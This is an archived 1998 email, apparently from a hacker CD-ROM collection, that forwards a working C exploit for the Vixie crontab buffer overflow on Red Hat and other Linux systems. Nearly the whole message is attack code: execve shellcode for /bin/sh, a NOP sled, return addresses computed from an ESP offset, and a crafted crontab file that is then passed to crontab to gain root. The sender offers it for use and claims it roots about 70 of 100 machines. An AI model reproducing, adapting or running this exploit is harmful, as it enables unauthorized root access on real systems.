home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / standard / standard.txt
Encoding:
Internet Message Format  |  2002-10-21  |  2.6 KB

  1. Date: Sun, 10 May 1998 22:40:57 PDT
  2. From: <[cut]@hotmail.com>
  3. To: fyodor@insecure.org
  4. Subject: Linux Oldie but Goodie
  5.  
  6. hi fyodor,
  7.  
  8. here's another one for Linux systems using mr. paul vixie's crontab ... 
  9. works not only on some redhats, but also on DLD 5.2 (a german linux 
  10. distribution) and many others using the vixie crontab - usually gets you 
  11. root on about 70 machines out of 100 ;)
  12.  
  13. cya,
  14. [cut]
  15.  
  16. --------------snip--------------
  17. /* vixie crontab buffer overflow for RedHat Linux
  18.  *
  19.  * I dont think too many people know that redhat uses vixie crontab.
  20.  * I didn't find this, just exploited it.
  21.  *
  22.  *
  23.  * Dave G.
  24.  * <daveg@escape.com>
  25.  * http://www.escape.com/~daveg
  26.  *
  27.  *
  28.  */
  29.  
  30. #include <stdio.h>
  31. #include <sys/types.h>
  32. #include <stdlib.h>
  33. #include <fcntl.h>
  34. #include <unistd.h>
  35.  
  36. #define DEFAULT_OFFSET          -1240
  37. #define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
  38. #define HAPPY_FILE              "./Window"
  39.  
  40. long get_esp(void)
  41. {
  42.    __asm__("movl %esp,%eax\n");
  43. }
  44.  
  45. main(int argc, char **argv)
  46. {
  47.    int fd;
  48.    char *buff = NULL;
  49.    unsigned long *addr_ptr = NULL;
  50.    char *ptr = NULL;
  51.   u_char execshell[] =
  52.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  53.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  54.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  55.  
  56.  
  57.  
  58. /*
  59.  * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
  60.  * a '=' character appears below
  61.  */
  62.  
  63.  
  64.    int i;
  65.    int ofs = DEFAULT_OFFSET;
  66.  
  67.    /* if we have a argument, use it as offset, else use default */
  68.    if(argc == 2)
  69.       ofs = atoi(argv[1]);
  70.    else if (argc > 2) {
  71.       fprintf(stderr, "egg [offset]\n");
  72.       exit(-1);
  73.    }
  74.    /* print the offset in use */
  75.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  76.  
  77.    buff = malloc(4096);
  78.    if(!buff)
  79.    {
  80.       printf("can't allocate memory\n");
  81.       exit(0);
  82.    }
  83.    ptr = buff;
  84.    /* fill start of buffer with nops */
  85.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  86.    ptr += BUFFER_SIZE-strlen(execshell);
  87.    /* stick asm code into the buffer */
  88.    for(i=0;i < strlen(execshell);i++)
  89.       *(ptr++) = execshell[i];
  90.  
  91.    addr_ptr = (long *)ptr;
  92.    for(i=0;i < (878/4);i++)
  93.       *(addr_ptr++) = get_esp() + ofs;
  94.    ptr = (char *)addr_ptr;
  95.    *ptr++ = '=';
  96.    *ptr++ = 'X';
  97.    *ptr++ = '\n';
  98.    *ptr = 0;
  99.    printf("Writing to %s\n", HAPPY_FILE);
  100.  
  101.    fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
  102.    write (fd, buff, strlen(buff));
  103.  
  104.    close(fd);
  105.  
  106.    execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
  107.    /* Successful completion */
  108.    exit(0);
  109. }
  110. --------------snip--------------
  111.  
  112.